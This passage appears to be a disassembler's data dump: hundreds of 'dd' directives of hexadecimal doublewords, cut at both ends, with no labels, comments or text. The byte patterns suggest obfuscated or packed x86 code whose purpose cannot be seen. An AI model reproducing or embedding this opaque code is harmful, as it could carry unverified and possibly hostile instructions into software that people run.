0DCCFCCA9h, 24F161E1h, 5D38A80Fh, 1FF666C6h, 0B243B310h dd 43863D21h, 2A169BB1h, 40BCF569h, 24023AD0h, 73C055C5h dd 979CA212h, 9B74A212h, 0C0AA1A98h, 2A88A9B5h, 0E7837CBAh dd 0BF56C62Ah, 0D3A21270h, 506EDE5Ch, 7B6FDF63h, 4CBC43F0h dd 8AFA7AA9h, 0C67D5FEBh, 1086F283h, 80B1596Ah, 85F57703h dd 0C0E6CBAAh, 6316A321h, 7EEE4D99h, 55C52B38h, 5CCC2889h dd 88D1745Ah, 73169ADDh, 2FDD8DA2h, 88F87879h, 0C9F9BDEDh dd 0D4BDE0F5h, 0A2E90340h, 0BFCF76C8h, 3E108037h, 0B88B516Dh dd 1CB7B791h, 759F4B5Ch, 0B7B7CF0Eh, 0B8A6B81Ch, 0B7B7C40Dh dd 0F496A71Ch, 0B23712BDh, 54A3D95Eh, 2A6CDC5Fh, 0EA85B555h dd 0C3000000h, 999D0D6Eh, 244EC6A4h, 536056C6h, 0F6D87FEFh dd 1CCE3EBDh, 0F212AB1Ah, 111086h, 7CA5203Eh, 0FF1086F2h dd 0CD23C2Eh, 34D646A7h, 710474F7h, 5B4EE8EDh, 8E4F175Fh dd 5CCC2FDCh, 0E430D05Ah, 243A1585h, 9BA02DA1h, 3F1F3016h dd 6C1E8EF2h, 0DF4FB1C2h, 0F868CAD7h, 70D2C1BEh, 139A1600h dd 0A70E37ACh, 0BC2C8F38h, 0FD2DD1D9h, 0A80E62E1h, 0BE8F108Eh dd 97076B78h, 7E0A6AC7h, 0C4A689F9h, 308CA5A9h, 89E92AC0h dd 0AB749D28h, 2EF71CACh, 790774A6h, 301F3073h, 97C77406h dd 0B985FCC7h, 0F7C81CACh, 74F73C1Eh, 4D3D1204h, 5B639363h dd 0B64CD8E8h, 4AAE031Ah, 7E3DCDAh, 0A3908697h, 84C6AF1Fh dd 0A8A6EB5Ah, 2BDC02B9h, 0D3EBBA8Eh, 0D5B5863Ah, 3066D654h dd 0F5C9F9CAh, 0B92D574Eh, 80152602h, 36DF4FB3h, 0DB0BABF2h dd 4003D903h, 1086F219h, 64E0D3E4h, 2FA716F4h, 4E169C1Ah dd 0CB28397Dh, 0C790BA5Bh, 0CEFFC8A0h, 8235D50Ah, 375F1C55h dd 813DF09Eh, 6B331CD7h, 0D141C0F1h, 2438A39h, 73C01693h dd 49CAA010h, 6DDD5EEAh, 9A7B5429h, 8FFF83B0h, 5DCD2EDBh dd 7BEB4859h, 79BA7C3Bh, 0ADE486F6h, 0F666C502h, 0A2213B1Fh dd 1693027Fh, 5A43BB95h, 8B8D029h, 2512863Fh, 0F9D6045Fh dd 3317A211h, 409D9DBDh, 9B000000h, 248B1796h, 0A28D82B4h dd 4BEF9B74h, 3DB0BABh, 8B85FCD9h, 5957CC28h, 0A99BBE85h dd 51621086h, 0A9920AB9h, 0C2D3169Bh, 28B9DBFCh, 0DEE45B30h dd 26C4EB5Bh, 878FBE8h, 16476Dh, 4F630000h, 4A6DDD62h dd 485F8D4Eh, 6E9B4F0Dh, 879C9A0Ah, 5BE1B424h, 0C154C424h dd 587D4816h, 1B1086F2h, 0F1420C0Ah, 0C8492191h, 0B8BBFB6Bh dd 410D5E51h, 86F25382h, 0F697C010h, 0A31371BAh, 9CBD9A73h dd 336307BDh, 0F051D96Ah, 7C535272h, 99BEE362h, 6C3D1086h dd 0B8199A89h, 8699C40Dh, 0B996A710h, 0EC6572DCh, 6AAF1671h dd 1110867Fh, 10923700h, 67564129h, 0BF1h, 0C724C500h dd 0F1525F57h, 324AF481h, 5C5ACA24h, 4274E447h, 3363D331h dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h dd 3C7AEA4Fh, 0E3895378h, 4C381h, 0EB830000h, 241C8704h dd 2414895Ch, 557168h, 24048900h, 81E18951h, 4C1h, 4E98100h dd 87000000h, 895C240Ch, 0BD55242Ch, 73D14678h, 0CC0503B8h dd 8BE83175h, 0C481242Ch, 4, 83B68h, 24248900h, 4240481h dd 5D000000h, 0E5B85050h, 2936082Eh, 58042444h, 8108458Fh dd 2EE50845h, 2C8B3608h, 0E3895324h, 4C381h, 0C3810000h dd 4, 5C241C87h, 5124048Bh, 0C181E189h, 4, 4C181h, 0C870000h dd 3E95C24h, 74FFF837h, 318117F6h, 1960C0B4h, 46B2B873h dd 0C503061Dh, 0FEEEE0FFh, 4A091BBEh, 8F3B069Dh, 8E840758h dd 85C01585h, 6910422Ah, 0B1D83DB2h, 0C6070A61h, 0E6082D07h dd 95C438C1h, 0F607942h, 68Eh, 8F0F00h, 0F000000h, 1481h dd 0FE900h, 0DD3C0000h, 4CE0845Bh, 7578EB89h, 8B4D4D87h dd 0F9BE617Ah, 0F66A92Ah, 386h, 0C2BF0F00h, 0FE8D88Bh dd 2D000000h, 9C7F83B5h, 0D75D639Fh, 5D41F204h, 11E8343Dh dd 22000000h, 24B2D189h, 0BA7AA1F2h, 0A7035CBCh, 0A67A854Fh dd 10E9h, 0AB30DD00h, 0F8DE3428h, 6D46C620h, 0D33C4022h dd 66595B97h, 13BAD881h, 6E8h, 9CA7F00h, 81F093FFh, 57A688DBh dd 5BB65B69h, 66F5FA8Ah, 6660FA8Bh, 3C6CD681h, 0E961C68Bh dd 9, 0DED1FD47h, 0F6BB3473h, 0B989B12Ch, 2DA7778Ch, 0DE9DE8Bh dd 67000000h, 0EFE05D82h, 199376E6h, 0ABC20CFCh, 0FDEBF0Fh dd 0F98BF3B7h, 8F0FF38Bh, 3, 0B9C18B66h, 482A2352h, 8ACA8B66h dd 51CA8BE2h, 0F484C381h, 0F5A0291h, 84h, 7A2ABA00h, 81660887h dd 811E62DEh, 8B5967D2h, 0E0BE6625h, 7E37B969h, 8B6646F2h dd 5E8FBh, 1BFB0000h, 6675E56Dh, 8B59C68Bh, 0EF8166CEh dd 8B66A2ACh, 0ABBA66C8h, 11E95Fh, 99090000h, 9C156A14h dd 6830044Dh, 5E54543Ah, 0BB4D144Ah, 1C8CD07Ah, 0F88A9FB7h dd 8B6673B3h, 20F1B8DAh, 0BF0F750Eh, 0FC18BC0h, 0B85h dd 6E900h, 0C9020000h, 778DD969h, 2849F681h, 81667CFAh dd 8B68A9E1h, 3880FC1h, 80000000h, 4AB9C7C5h, 0B021C469h dd 48E0F27h, 66000000h, 0E837E3BFh, 0Dh, 10D709D2h, 0B4686A29h dd 0B05777A9h, 0F55058D7h, 57FA8B59h, 665ED78Bh, 0FE8BC18Bh dd 29F78166h, 576051C5h, 0C181665Fh, 5E619BF5h, 10E850h dd 0DFE30000h, 0D7A1299h, 7289E569h, 9DA01365h, 616034BEh dd 0B9665A5Ah, 0F556F54Ah, 8E0F605Ah, 3, 0E9B2C580h, 0Dh dd 5B165B57h, 977028C7h, 0C63E0C98h, 820F6144h, 8, 2870Fh dd 61600000h, 8E9h, 0B77ADC00h, 56D60656h, 0FE817h, 3F940000h dd 0EF70D08Eh, 458E1A76h, 0C5B652Ah, 80B86693h, 810F5B29h dd 6, 779BF381h, 8B0F5117h, 0 dd 11E9h, 67FB1C00h, 99FA312Fh, 182C75A7h, 0B78E5C59h dd 0FCF8DA8Ah, 16840Fh, 11E90000h, 0EC000000h, 0DBBA334Bh dd 5079B958h, 0DA49202h, 11C08B63h, 9E857h, 0A8E90000h dd 4BD37024h, 0E84ACF68h, 0Fh, 0C7DB57E8h, 16142A8h, 75C32409h dd 5A2D0E50h, 2EB05A5Bh, 63CF8CB8h, 0F585072h, 0E381DFBFh dd 366EF9CFh, 95B9DE8Ah, 666130FEh, 0B70FC38Bh, 0F88B60C3h dd 6DC18166h, 0FE9614Ah, 95000000h, 243FCA0Dh, 0C5EC7629h dd 79B36AC2h, 800F227Ah, 3, 0FFDDC80h, 582h, 0B03BBE00h dd 13E865F8h, 96000000h, 0C62B6CC6h, 0B1C1BF6Fh, 9050F725h dd 0ACEB7D3Bh, 0DD8AF881h, 6656605Ah, 615AC68Bh, 66FBBF0Fh dd 0FD50CBEh, 489h, 61606000h, 0D1BF0F61h, 81F1F180h, 397D3C9h dd 35BA6669h, 9E923h, 0C38B0000h, 3C2F452h, 0E967242Dh dd 0Dh, 6A223FD8h, 1CEC7F13h, 3144034Bh, 8B0FF8E1h, 0Bh dd 0D8816660h, 0BB663299h, 0E961D385h, 8, 108AF5A2h, 0BF78C522h dd 57D3B70Fh, 0FE9h, 0CF1E5800h, 0B7E5F720h, 60BE31ABh dd 0DE535477h, 0C6B70F5Bh, 66D08B66h, 8B2ACF81h, 240BB66h dd 80C88B66h, 0BE6066EEh, 6DAABAC5h, 269CBB66h, 14E861h dd 0F21D0000h, 72EFEC40h, 2196A35Bh, 0AAA0CAA4h, 0BEAB4E81h dd 830F4A3Ah, 2, 60585A50h, 8A616060h, 16BF61D7h, 613A31E8h dd 1850Fh, 57FC0000h, 5BCEEB80h, 8BCB8B66h, 0F59AB8D8h dd 0BCB91036h, 603839E7h, 5D46B866h, 5A5F5053h, 0E2816661h dd 0D78B802Eh, 0C8BF0FFCh, 0A2E78166h, 5E9B7h, 0CEC40000h dd 8082A327h, 0FF8D8E7h, 10E9D8BFh, 6D000000h, 0A65AF135h dd 0B543232Ch, 0F84B4339h, 0F87AE807h, 0FD20FFB8h, 800F51h dd 0F000000h, 8Ah, 58F0F00h, 66000000h, 0C2D5EA81h, 11E8h dd 62807700h, 62998FFCh, 0B390989Bh, 0E88FE5BFh, 90BF6732h dd 5E2DFFF8h, 0D3B70F50h, 0E9DE8B59h, 0Ah, 754D3FE9h, 8596DF3Ah dd 0BF0F1BCBh, 0BE9C1h, 2E390000h, 0D9E99747h, 70BA460Dh dd 70DE81A9h, 60718329h, 0C6EBB866h, 6E8h, 0DF894800h dd 80C2992Fh, 615EB9DEh, 0BE8h, 18A2AC00h, 651828FFh, 3D872501h dd 68F0Fh, 870F0000h, 0 dd 0AFBA665Bh, 0E8F38A99h, 11h, 25C0DF14h, 0BB136690h dd 0E3CEC8C7h, 55D5A3B0h, 0F78B6666h, 12E95Fh, 4D7D0000h dd 60FE183Bh, 0C4ABBCB7h, 0D2DC6B4Bh, 9705A595h, 66D38B66h dd 667BD1BBh, 8AA5ABBAh, 0E995B6C5h, 0Bh, 8D936AA2h, 0A7332619h dd 6066E1FFh, 0DE18166h, 8B66614Bh, 4CB866D8h, 0E9F9FC39h dd 0Bh, 6EBA3CD9h, 0B5B91CDAh, 66FA1377h, 0A784C981h, 0EE9CF8Bh dd 4B000000h, 400CDABEh, 0A2445E86h, 0D6BA5400h, 0EDF68112h dd 816089F3h, 691C88CBh, 4AB7F952h, 0F5BF551h, 198Ch, 0EE800h dd 0E750000h, 0DA9599B8h, 0B093BF31h, 50CAB4F3h, 1B1D1DBAh dd 0B8F55B4Dh, 1063F9F0h, 58E0Fh, 81660000h, 0F58376D6h dd 2B2FC0B9h, 7E927h, 1CFA0000h, 3519BAD9h, 13E985h, 0D33B0000h dd 2460D564h, 43AB19A8h, 9490A37Dh, 234591ADh, 0F61B0AAh dd 66FCD3B7h, 662A52BBh, 0F0F6FBBh, 0F83h, 0AE900h, 2CE60000h dd 0AD315863h, 64CB702Ch, 8E0Fh, 0F88B0000h, 7E9h, 3587ED00h dd 86E91A23h, 6830Fh, 0E3810000h, 56790CB5h, 0CB8B66F5h dd 0E8F2B70Fh, 6, 8D0EF047h, 0B86664E6h, 6058A110h, 5850FF8h dd 66000000h, 26AFCF81h, 8BDF8B61h, 8E0FFCC6h, 7, 3B22BE53h dd 0F95A5F07h, 0E689F681h, 0EE81DC8h, 0D9000000h, 0B3FB583Dh dd 32831238h, 0AAB95B60h, 0B0E98130h, 5F7C5C1Bh, 840Fh dd 0BA660000h, 13E93E38h, 4D000000h, 0C3D68D7Eh, 0CB777D2Fh dd 7DB32EADh, 32AC66D3h, 0BF0FBA43h, 6870FDBh, 81000000h dd 8E96FFEFh, 0DE807h, 72BA0000h, 0B1546DB8h, 0F064D042h dd 0BE480EC5h, 32A97D88h, 0FE959h, 19700000h, 0E1783763h dd 0A526B3E9h, 0E9EB28E8h, 4BB253D5h, 0E952505Bh, 7, 4756C630h dd 5E013A8Fh, 0E810F58h, 0E9000000h, 9, 72B3F565h, 0B59BC557h dd 5840F21h, 0BE000000h, 6736F8BDh, 0D1EE81F8h, 0B963EE07h dd 2C82246Fh, 5AF78B56h, 6E950h, 2FEA0000h, 43E0213Ah dd 66CF8B59h, 0F51BFBBFh, 0DB8166FCh, 810F114Fh, 9, 3860Fh dd 8B660000h, 8674BAD0h, 14E86F6Ah, 2E000000h, 0E941868Dh dd 2512D2D3h, 3A380BEAh, 77B0B704h, 8A4750A4h, 0FCFC5ECFh dd 6656D08Ah, 5159CE8Bh, 5BF18B66h, 0CE9h, 7E97A600h, 0C58B8697h dd 66048BB7h, 9DD6BEDFh, 0BF0F45E3h, 0F28166F3h, 7E85E63h dd 33000000h, 18919613h, 11E9CF84h, 0DE000000h, 0B718EAC0h dd 38C76BE4h, 0E534C536h, 333E4396h, 8E0FF858h, 8, 800F60h dd 61000000h, 69DB8166h, 3840F0Ah, 80000000h, 10E9D2C4h dd 0A5000000h, 6C4C559Bh, 0D94FCB89h, 0CAC265BBh, 0F241F9Eh dd 68Fh, 6BE28100h, 0FC0141F0h, 38E0Fh, 0BF0F0000h, 0FCA8BDAh dd 8B66DEBFh, 8F0FCEh, 81000000h, 0CB2416D8h, 663DB04Ah dd 633FC881h, 42DF81FCh, 0E936A224h, 0Fh, 653F91C7h, 5AE2E95Eh dd 0AE8DC6E9h, 81311E82h, 2EC648C6h, 0B846B67Eh, 531774A3h dd 810Fh, 0BF0F0000h, 0FC68BD1h, 810FD8BFh, 19h, 14E9h dd 0C568D100h, 0BE0A3076h, 3F14CC0Bh, 4D19E20Eh, 6E939D1Fh dd 12E911h, 0DE140000h, 1AC215D8h, 0C9873132h, 0A821F2A4h dd 53CBDD2Ch, 68A0Fh, 0DB810000h, 59DA17D1h, 0E8FE8B66h dd 6, 0D5A5E59Dh, 81668447h, 5A0D16DAh, 0A06B03BBh, 0C6B70F69h dd 555BA66h, 0EE9h, 0A362D100h, 0D75BC68Fh, 34488642h dd 0F57BE3Eh, 0FF8CAB7h, 0CE8BFBB7h, 0F6BBF98Bh, 66118D66h dd 805FDB81h, 8E9h, 9504600h, 0EF4D69E5h, 4810F6Dh, 66000000h dd 0E9BBFBBAh, 11h, 0CCE1B46h, 0B99BC994h, 2201D86Ah, 8316534Ch dd 0F3B70F16h, 5860FFCh, 0B8000000h, 66921D4Ch, 4830Fh dd 0BF660000h, 0C0801D6Bh, 8BE38ADFh, 31CD80C1h, 81DEBF0Fh dd 9C2A08EAh, 5A4ABA71h, 0DF8B2905h, 0DE8h, 0A0BA1600h dd 89B37Ah, 7DB51F75h, 8166D3B5h, 59D1AEE9h, 51D1DC80h dd 8E960h, 9CB0000h, 2C8C9C9Eh, 880FCB61h, 0 dd 0B9665F61h, 8166FD52h, 0F3827F6h, 7E8D7B7h, 57000000h dd 0F2134FA5h, 870FF4A6h, 3, 5926DC80h, 72DCBF53h, 0F582663h dd 380h, 0F28B6600h, 0CE8h, 9B735300h, 0A5EF35ABh, 0B8441CD7h dd 0DE8B667Fh, 0C040BA5Ah, 0EE931CDh, 98000000h, 0D7245D9Eh dd 3A471BC5h, 0AB6DD989h, 5060F957h, 8E959h, 4C500000h dd 0FDF30719h, 0E961BDA5h, 0Eh, 9E226BC1h, 0CD4D867h, 0ABE2E03Ah dd 0F6808EF2h, 0D3806030h, 8B0F614Ch, 12h, 0DE9h, 74F88200h dd 72F8F081h, 0E542447Eh, 0BA66DBD4h, 0BB66704Ah, 0FE98016h dd 0EC000000h, 3E2865B9h, 5CAB744Ah, 1CF02560h, 0DE962EFh dd 0C000000h, 0B8403E7Eh, 95E1ACCBh, 116048F2h, 0CE1B08B9h dd 9110BE5Fh, 0F0810037h, 562BB082h, 3E90C781h, 0CA8B31E2h dd 6602CB80h, 6B78C381h, 0FB60BE66h, 87C8B966h, 0B9665EB0h dd 8166A9F4h, 661C9CDBh, 0C080CA8Bh, 10E9F8AAh, 33000000h dd 3BE15A6Ah, 0D8BCD6FCh, 9BF3A513h, 66DF672Bh, 502FC781h dd 0EE9h, 95F5CF00h, 0AFB16B2Eh, 61EDFC08h, 81A57A7Ah dd 13D05DD7h, 71BA6633h, 10E98Bh, 0B4410000h, 0E1D366D0h dd 2EE53CF2h, 9FCFE33Bh, 870F6B7Ch, 3, 0F9C28B66h, 5E8h dd 9C0A7E00h, 5950B538h, 0CE8B6659h, 860973BAh, 66F28B08h dd 0F53B2BEh, 0E860D7BFh, 11h, 0C9040411h, 28AE13ABh, 803F0621h dd 50178F5Ah, 58D98AF0h, 0FE9h, 725F9400h, 0EC65456Bh dd 27C9D8A2h, 7F4F41F4h, 0BE961h, 0FE960000h, 8A27AF56h dd 0EF2123AAh, 53FE8B11h, 0F59C28Ah, 18Dh, 0F8B3F500h dd 66C8B70Fh, 0C44FD981h, 4850Fh, 0B8660000h, 8D0F1A17h dd 2, 8BF8C38Bh, 0D2BF0FD8h, 0F34DB80h, 687h, 28C98100h dd 0E972B45Bh, 0Eh, 0E47CCAB8h, 95E868DEh, 6E8A3h, 8B6631C8h dd 66F28BFBh, 0FFC81B8h, 28Ah, 0FC2B100h, 1980h, 14E900h dd 15390000h, 158BB6A9h, 1BE08953h, 8372A7D0h, 362662D2h dd 81F8302Bh, 1C9174CBh, 68BE6660h, 3800FB5h, 0F000000h dd 0D68BC6B7h, 11E9h, 11729D00h, 54E1DD72h, 0FB40F795h dd 6837539Bh, 6FBE23FBh, 81775E8Ah, 86EE55F1h, 8F2811Ch dd 81595716h, 0D14401DEh, 2BB8FC6Ch, 0E83064F0h, 0Bh, 0A5338CB1h dd 2DEE9953h, 819AD121h, 0A85CF8E2h, 0BE85973h, 0DC000000h dd 8469CA5Fh, 0F7F9E7CEh, 816611F4h, 5A3674D7h, 0D26B866h dd 0F79F180h, 8166F8B7h, 0F0265C8h, 589h, 0F2816600h, 0FA8A1F57h dd 6D4AF781h, 8B660D1Fh, 8D0FD1h, 80000000h, 0B86623F5h dd 0E780B28Bh, 0BE9609Eh, 19000000h, 80415F39h, 0F1B7FBCCh dd 0B9661AA4h, 0F6149FEh, 0DF80C6B7h, 0D9816679h, 0EC80CEE7h dd 8A0F52FEh, 2, 0B35FEF8Ah, 5E921h, 6D6C0000h, 50B02520h dd 7E9h, 7AC51400h, 5256ABE6h, 0D181FC58h, 7B4251A8h, 94C38166h dd 0BF0F57BFh, 0AE85EC0h, 0D0000000h, 9F84E8A1h, 4866279Bh dd 66BA6614h, 81665AB0h, 6022D2C2h, 0FD18B66h, 28Fh, 61595200h dd 0BF0FE28Ah, 0AE8F7h, 0E0A80000h, 522E0A40h, 0E1970F71h dd 66583DB6h, 808D8EBEh, 8A0F0EC1h, 4, 0B5B866h, 0F08ABDB6h dd 0F18B66F9h, 0CE960FCh, 4F000000h, 0A56DDB35h, 504DB0EDh dd 0B783FCB6h, 0AE961B4h, 1A000000h, 920FC6CBh, 4095DF8Fh dd 0E9B6B269h, 14h, 0AA5693C5h, 7A9895E7h, 0EEAF677Bh dd 0BF30F16Bh, 99CF0D58h, 0C88BFC60h, 7FBF6661h, 0B9F78159h dd 0E8564040h, 6, 0A0362D35h, 12E92366h, 99000000h, 0EC604D40h dd 0A7ECD80Fh, 3C607D6Eh, 0D38E80F3h, 0E8F55849h, 5, 17CC5CB7h dd 0D7F0B907h, 0E9596736h, 0Eh, 166131C4h, 9D75EE11h, 5670E121h dd 8B661FB9h, 0F9CB8AD0h, 8B66F78Bh, 830FF9h, 66000000h dd 14CDD881h, 7E8F9h, 456B0000h, 0D8A2EC65h, 0E95FF5C9h dd 0Fh, 8A042F94h, 0A3374469h, 0F87342D2h, 0F96FEF9Fh dd 8BC68B66h, 0BE9F0h, 0A40A0000h, 3B95B005h, 7D0F3700h dd 0AF12BE97h, 8B665462h, 0BE8FCD8h, 6A000000h, 1E6446DFh dd 352F2BA3h, 0D281E03Bh, 6FC129E1h, 0BB9EB658h, 10388016h dd 9C5BB66h, 0AE9h, 44CF6200h, 7B9A1C4Dh, 0F4BDA47h, 68Fh dd 92C78100h, 660C125Bh, 605218BAh, 0E281CF8Bh, 5875FE14h dd 0EE861h, 0AA120000h, 3754FB5Bh, 0AC0C6633h, 32D0A030h dd 0F5F78B1h, 38Fh, 0E4E98000h, 13E8h, 0BDB64300h, 60767591h dd 123F88BFh, 5A61CD90h, 0C0CC6B6h, 12E9h, 3F4B5800h, 0E69A09FFh dd 707B7D4Bh, 4B6BB8E0h, 5F2BD1C0h, 5E982B0h, 0AE000000h dd 0B035824Fh, 12E8h, 3EBAEC00h, 0B6EE40E4h, 419D5532h dd 23BCEFD6h, 50FDFF53h, 5EC2BF0Fh, 91BE665Ah, 51EE817Ah dd 0F43E1B5h, 18B1DFBFh, 8E960h, 8E800000h, 5F0F49D3h dd 0F861CE47h, 5820Fh, 81660000h, 60E4A9D3h, 51DBBF0Fh dd 6E8h, 0EB52B800h, 585BA5ABh, 7FB9615Ah, 66298ACEh, 850FC68Bh dd 5, 0E0EA8166h, 0C1B70F07h, 5E50F98Bh, 13E8h, 0C03EFE00h dd 87B6FD8Ah, 0A03CBF34h, 26667D6Ch, 0E24713B2h, 0DACB8051h dd 0F5565A5Fh, 22B86659h, 0B8B96679h, 0FCA4BFB3h, 12E81487h dd 32000000h, 6136AC2Ah, 0F4259CADh, 5F23684Fh, 2C8B1F0Bh dd 8B666056h, 0CABF0FD6h, 0E9505B61h, 9, 784AEADAh, 0F04E443Ah dd 60FC5E8Fh, 6061FA8Bh, 6667E180h, 615D43BFh, 6FAAB966h dd 98C58060h, 8F0Fh, 0E9610000h, 0Bh, 4C1BEC0Ch, 4EBF76FAh dd 0B0A74F79h, 5840FFAh, 0B9000000h, 5FA68C91h, 3880Fh dd 8B660000h, 978FBAC7h, 0DA8A623Fh, 0DDBBD0B2h, 0BA470493h dd 196B0424h, 0E0816652h, 6059B0C0h, 3820Fh, 0B70F0000h dd 615A56DFh, 58C0Fh, 69BA0000h, 0E936B6DBh, 10h, 152925ABh dd 0B1077759h, 0E13C8EB3h, 1E94EB05h, 0E6EA8160h, 61368D9Dh dd 8166C3B6h, 806BA7CEh, 0BF0FABDBh, 6E9D8h, 548A0000h dd 5C936E4h, 6810Fh, 8C0F0000h, 0 dd 0F31CD80h, 0E956F2BFh, 13h, 80CA04EFh, 95D3DA3Fh, 0D135CD9Ch dd 7B0625C6h, 5E855963h, 61C68166h, 8D0F6068h, 5, 6CE38166h dd 8161F851h, 9AC9E7DFh, 92BF6608h, 0FFBF0FDCh, 0DE9h dd 106B7F00h, 16199D1Dh, 0CB76AE39h, 880F9832h, 13h, 0CE957h dd 9D0F0000h, 8AC43CC3h, 696C2C29h, 0B75A5E46h, 0A5B25256h dd 0F08B6658h, 33C88166h, 82C38008h, 9E939B2h, 21000000h dd 79785F1Ah, 0D1CBABC1h, 0AE960h, 2EA40000h, 8832DB04h dd 4A5F5C58h, 880Fh, 0BB610000h, 666A3F3Bh, 7E9h, 5748EF00h dd 85E7DA3Bh, 800FD38Ah, 10h, 0BE9h, 56996B00h, 1CC6C6A0h dd 2B76CEE5h, 0FF7B70Fh, 58Fh, 0D7816600h, 0FA8A77DCh dd 80D9B70Fh, 0E781FAC4h, 7A0D78C1h, 0A1E281F5h, 0F6873CCh dd 38Bh, 0C88B6600h, 5880Fh, 80530000h, 665FD8D8h, 8287F381h dd 38B0Fh, 0F4800000h, 11E848h, 32490000h, 0C5EEA11Eh dd 3607663Ch, 0E97CE55Ah, 668B9500h, 0B76CF81h, 14E95Eh dd 0CB30000h, 454E134Bh, 0EA742BEAh, 0A9B9A8C4h, 5012FF82h dd 0FEBFFAE5h, 0F4852FAh, 1986h, 14E900h, 65F50000h, 33D67D9Ch dd 1AAB0AD7h, 651212A1h, 18B3DBF3h, 0C381B006h, 2E1B4B98h dd 3810FFCh, 66000000h, 14E9CE8Bh, 74000000h, 96FED67Eh dd 51283E96h, 0A028D711h, 705737D8h, 0F54394Ch, 6E9DFB7h dd 0F3000000h, 223B3FA7h, 8166604Eh, 0F92DDAD2h, 18870F61h dd 50000000h, 11E9h, 847D6A00h, 2D967712h, 9DC549D9h, 0B5632F1h dd 605BE4A4h, 4CD28166h, 616DB213h, 48E0Fh, 0B6570000h dd 8E85F0Ah, 3C000000h, 8AC8F384h, 66331175h, 5F2AD0BFh dd 18D0Fh, 0B9F50000h, 2C94BD30h, 68E0Fh, 0D0810000h, 29EA2577h dd 0F287B966h, 0F532ED80h, 5DBA6651h, 8B665A95h, 0AE9F8h dd 81C50000h, 2AE4D8D7h, 0EF1E78EEh, 0DE9h, 0B9C5ED00h dd 0E83AC46Ch, 3C98E737h, 13E9E34Bh, 0A8000000h, 22C2CDA3h dd 675FEF8Fh, 0E68C8EC3h, 5F41E4C5h, 3EB89299h, 0F0AFC41h dd 383h, 0DABF0F00h, 6E9h, 0C8752B00h, 66A8B7ECh, 870FFA8Bh dd 6, 900FD681h, 0F1BA31B9h, 0E96E5A9Bh, 5, 0D08154FDh dd 3FBE666Dh, 0BE958h, 4DD80000h, 0F5A00E8h, 1F3816E6h dd 0BE8DEh, 5E1A0000h, 3A252230h, 0F5CAA36Fh, 18F9B922h dd 0F5B23D4h, 48Fh, 56BF6600h, 7B55BF56h, 10E92635h, 21000000h dd 0A33F5F77h, 97343FDAh, 0AD74F4ECh, 6688F071h, 0F0B9CB8h dd 1888h, 13E900h, 0CB760000h, 20A19832h, 1CB91509h, 0AB1FEB46h dd 6E532419h, 0B70F60D1h, 61CA8AF7h, 0EBCA8166h, 66595090h dd 0B70FDF8Bh, 0CE9D3h, 0A35D0000h, 2772E3B0h, 1FD8B817h dd 0BF0F46BEh, 66F78BD9h, 810F5CB9h, 25C288D9h, 8F9B96Eh dd 0C1815A52h, 4C53435Fh, 0FE9h, 92B9B300h, 948E189h, 0C9E9A78Dh dd 0BD924586h, 3840Fh, 8B660000h, 5810FD1h, 66000000h dd 6089E981h, 0F8C98150h, 5B0D5F32h, 10E9h, 0CC6F5D00h dd 29544538h, 0BF2A7706h, 0D81A1012h, 0BF66F511h, 0CC8AD97Dh dd 2DF28166h, 7E960h, 6FAD0000h, 4DB56F9Ch, 12820F03h dd 0E8000000h, 0Ah, 10B2252Ah, 789A837Ah, 5951116Ah, 74D0805Eh dd 860Fh, 0AE80000h, 4C000000h, 62E2212Ch, 1C2FDC16h, 0F5BFCFCh dd 488h, 0CABE6600h, 0D8BF66ADh, 0FEBF0F9Ah, 4810Fh, 0B8660000h dd 0B70F9217h, 18F0FC9h, 0F9000000h, 13E9h, 7CEBED00h dd 0D00638B7h, 0EC2D7BB8h, 0EF6D95AAh, 0F29D0C0Dh, 4800Fh dd 0BE660000h, 0B70F70AFh, 0FF98BC7h, 184h, 9E9F500h, 0FB000000h dd 5F22B2AFh, 2FF96FB0h, 0E3F4FDBEh, 78C0F75h, 60000000h dd 83E98166h, 0AE961A6h, 82000000h, 28862283h, 0DE970649h dd 0C4B157F9h, 10E95Ah, 0D5F40000h, 96CEC5B0h, 6255C966h dd 9E657Fh, 0D4803F70h, 0BB72BE89h, 8E91FF6h, 4D000000h dd 9D9042F1h, 0E912E9EEh, 7, 341CE73Bh, 66866272h, 0FE8D98Bh dd 71000000h, 6313EEC7h, 96D64631h, 4C63807Eh, 0BE98482h dd 4F000000h, 0DA3CF9CAh, 85D9F132h, 665BDA84h, 660C06BBh dd 0FC1F32B8h, 0A7EFC381h, 80601D61h, 0CE939F1h, 4F000000h dd 4B546F15h, 798BFA5Bh, 61BECAE2h, 5890Fh, 81660000h dd 811CFBDFh, 37F3CAC0h, 0F2B70F31h, 0FE9D18Bh, 99000000h dd 0E2251AE7h, 91C0AFEh, 1B8E6C9h, 66F81902h, 0FCAC19B8h dd 0FE8h, 21EC9200h, 0E21F2C22h, 27EBCEC0h, 0E7C7F0F6h dd 5A585351h, 0FAB70F59h, 0F8C28B66h, 0FBD28166h, 0CE8CBh dd 97B00000h, 0BFD3A4D8h, 0A6573C5h, 0BF0FCDD1h, 4CB85FC6h dd 664978D3h, 66CE13BEh, 60FEA2BFh, 0CD11BB66h, 0C68B6656h dd 0C3806158h, 0C38B668Bh, 6650D78Bh, 6659F38Bh, 0EE9D68Bh dd 0 dd 6B41F8B5h, 3D1FADA2h, 0B9903ECEh, 60BEB201h, 80F88B66h dd 506141E2h, 8C0F51h, 5F000000h, 0E881665Bh, 6060CAA7h dd 0FA73DF81h, 816644C3h, 613F5DCFh, 0AE861h, 29400000h dd 9821B3Ah, 542EB427h, 28B0Fh, 5E500000h, 10E958h, 0F7490000h dd 0D4AE67C4h, 0ECE8D98Ah, 445B9DD7h, 0BF0F1A49h, 8BF28BCEh dd 850FF0h, 0F000000h, 14E9FEBFh, 57000000h, 0BA8FC788h dd 51354D7Fh, 9496BC94h, 0F64BD5Bh, 66F72340h, 0BF0FF88Bh dd 5810FF7h, 0BE000000h, 5EAED2C5h, 13E9h, 1A63900h, 80EC63E0h dd 518F4481h, 6CC51EAEh, 9078E030h, 288C0Fh, 0FE80000h dd 0B9000000h, 78761D2Bh, 864B7156h, 5BD5A1E7h, 0EE9681Ch dd 83000000h, 0BD4BA613h, 340C6E14h, 27C6862h, 0FC575F06h dd 0CE95Bh, 8FA50000h, 0CF275AA8h, 42E9FE33h, 0E9FC3658h dd 5, 0CEF181D7h, 68F0F0Ah, 81000000h, 77C01C2h, 0F0BF666Eh dd 8166F8B8h, 0FCA07C6h, 8B66C0B7h, 9148BEC3h, 6E91D6Ch dd 0F0000000h, 10FB5708h, 18850F8Dh, 0E9000000h, 13h, 0AED6EEA0h dd 